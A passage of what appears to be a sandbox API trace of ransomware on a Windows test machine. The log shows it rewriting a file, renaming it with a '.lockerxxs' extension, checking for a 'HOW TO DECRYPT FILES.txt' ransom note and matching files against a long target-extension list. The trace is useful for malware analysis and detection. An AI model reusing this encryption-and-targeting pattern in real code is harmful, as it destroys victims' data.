[0083.983] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.985] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8217 [0083.985] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe967230, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe967230, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe9b34f0, dwHighDateTime=0x1d2faf2)) returned 1 [0083.985] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.985] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x81f1, lpOverlapped=0x0) returned 1 [0083.988] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" [0083.988] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.988] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x81f1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x81f1, lpOverlapped=0x0) returned 1 [0083.989] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.989] CloseHandle (hObject=0xa4) returned 1 [0083.989] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.lockerxxs")) returned 1 [0083.990] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe112530, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe112530, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe15e7f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1183b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="ast[1].js", cAlternateFileName="AST_1_~1.JS")) returned 1 [0083.990] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.990] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ast[1].js") returned 1 [0083.990] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ast[1].js") returned 1 [0083.990] lstrcmpiA (lpString1="", lpString2="ast[1].js") returned -1 [0083.991] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg") returned="ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" [0083.991] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.991] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.991] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="ast[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js" [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.ems") returned 0 [0083.991] lstrlenA (lpString="*.ems") returned 5 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.db") returned 0 [0083.991] lstrlenA (lpString="*.db") returned 4 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.dbf") returned 0 [0083.991] lstrlenA (lpString="*.dbf") returned 5 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.myox") returned 0 [0083.991] lstrlenA (lpString="*.myox") returned 6 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.myo") returned 0 [0083.991] lstrlenA (lpString="*.myo") returned 5 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qbw") returned 0 [0083.991] lstrlenA (lpString="*.qbw") returned 5 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qbb") returned 0 [0083.991] lstrlenA (lpString="*.qbb") returned 5 [0083.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qbm") returned 0 [0083.992] lstrlenA (lpString="*.qbm") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qbo") returned 0 [0083.992] lstrlenA (lpString="*.qbo") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qbx") returned 0 [0083.992] lstrlenA (lpString="*.qbx") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qba") returned 0 [0083.992] lstrlenA (lpString="*.qba") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qby") returned 0 [0083.992] lstrlenA (lpString="*.qby") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qbj") returned 0 [0083.992] lstrlenA (lpString="*.qbj") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.ofx") returned 0 [0083.992] lstrlenA (lpString="*.ofx") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.qif") returned 0 [0083.992] lstrlenA (lpString="*.qif") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mye") returned 0 [0083.992] lstrlenA (lpString="*.mye") returned 5 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mbox") returned 0 [0083.992] lstrlenA (lpString="*.mbox") returned 6 [0083.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.eml") returned 0 [0083.992] lstrlenA (lpString="*.eml") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.pst") returned 0 [0083.993] lstrlenA (lpString="*.pst") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.ost") returned 0 [0083.993] lstrlenA (lpString="*.ost") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.idx") returned 0 [0083.993] lstrlenA (lpString="*.idx") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.dbx") returned 0 [0083.993] lstrlenA (lpString="*.dbx") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.sql") returned 0 [0083.993] lstrlenA (lpString="*.sql") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mdb") returned 0 [0083.993] lstrlenA (lpString="*.mdb") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.fdb") returned 0 [0083.993] lstrlenA (lpString="*.fdb") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.wab") returned 0 [0083.993] lstrlenA (lpString="*.wab") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.dat") returned 0 [0083.993] lstrlenA (lpString="*.dat") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.txt") returned 0 [0083.993] lstrlenA (lpString="*.txt") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.jpeg") returned 0 [0083.993] lstrlenA (lpString="*.jpeg") returned 6 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.jpg") returned 0 [0083.993] lstrlenA (lpString="*.jpg") returned 5 [0083.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.png") returned 0 [0083.994] lstrlenA (lpString="*.png") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.php") returned 0 [0083.994] lstrlenA (lpString="*.php") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.cs") returned 0 [0083.994] lstrlenA (lpString="*.cs") returned 4 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.cpp") returned 0 [0083.994] lstrlenA (lpString="*.cpp") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.rar") returned 0 [0083.994] lstrlenA (lpString="*.rar") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.zip") returned 0 [0083.994] lstrlenA (lpString="*.zip") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.html") returned 0 [0083.994] lstrlenA (lpString="*.html") returned 6 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.htm") returned 0 [0083.994] lstrlenA (lpString="*.htm") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.xlsx") returned 0 [0083.994] lstrlenA (lpString="*.xlsx") returned 6 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.xls") returned 0 [0083.994] lstrlenA (lpString="*.xls") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mp4") returned 0 [0083.994] lstrlenA (lpString="*.mp4") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.ppt") returned 0 [0083.994] lstrlenA (lpString="*.ppt") returned 5 [0083.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.pptx") returned 0 [0083.994] lstrlenA (lpString="*.pptx") returned 6 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.doc") returned 0 [0083.995] lstrlenA (lpString="*.doc") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.dot") returned 0 [0083.995] lstrlenA (lpString="*.dot") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.docx") returned 0 [0083.995] lstrlenA (lpString="*.docx") returned 6 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.7z") returned 0 [0083.995] lstrlenA (lpString="*.7z") returned 4 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.tar") returned 0 [0083.995] lstrlenA (lpString="*.tar") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.bz2") returned 0 [0083.995] lstrlenA (lpString="*.bz2") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.gz") returned 0 [0083.995] lstrlenA (lpString="*.gz") returned 4 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mkv") returned 0 [0083.995] lstrlenA (lpString="*.mkv") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.eml") returned 0 [0083.995] lstrlenA (lpString="*.eml") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.msg") returned 0 [0083.995] lstrlenA (lpString="*.msg") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.edb") returned 0 [0083.995] lstrlenA (lpString="*.edb") returned 5 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.accdb") returned 0 [0083.995] lstrlenA (lpString="*.accdb") returned 7 [0083.995] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.odb") returned 0 [0083.996] lstrlenA (lpString="*.odb") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.java") returned 0 [0083.996] lstrlenA (lpString="*.java") returned 6 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.asm") returned 0 [0083.996] lstrlenA (lpString="*.asm") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.pfx") returned 0 [0083.996] lstrlenA (lpString="*.pfx") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.pem") returned 0 [0083.996] lstrlenA (lpString="*.pem") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.p12") returned 0 [0083.996] lstrlenA (lpString="*.p12") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.gpg") returned 0 [0083.996] lstrlenA (lpString="*.gpg") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.vsd") returned 0 [0083.996] lstrlenA (lpString="*.vsd") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.odg") returned 0 [0083.996] lstrlenA (lpString="*.odg") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.raw") returned 0 [0083.996] lstrlenA (lpString="*.raw") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.nef") returned 0 [0083.996] lstrlenA (lpString="*.nef") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.svg") returned 0 [0083.996] lstrlenA (lpString="*.svg") returned 5 [0083.996] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.psd") returned 0 [0083.997] lstrlenA (lpString="*.psd") returned 5 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.vmx") returned 0 [0083.997] lstrlenA (lpString="*.vmx") returned 5 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.vmdk") returned 0 [0083.997] lstrlenA (lpString="*.vmdk") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.vdi") returned 0 [0083.997] lstrlenA (lpString="*.vdi") returned 5 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 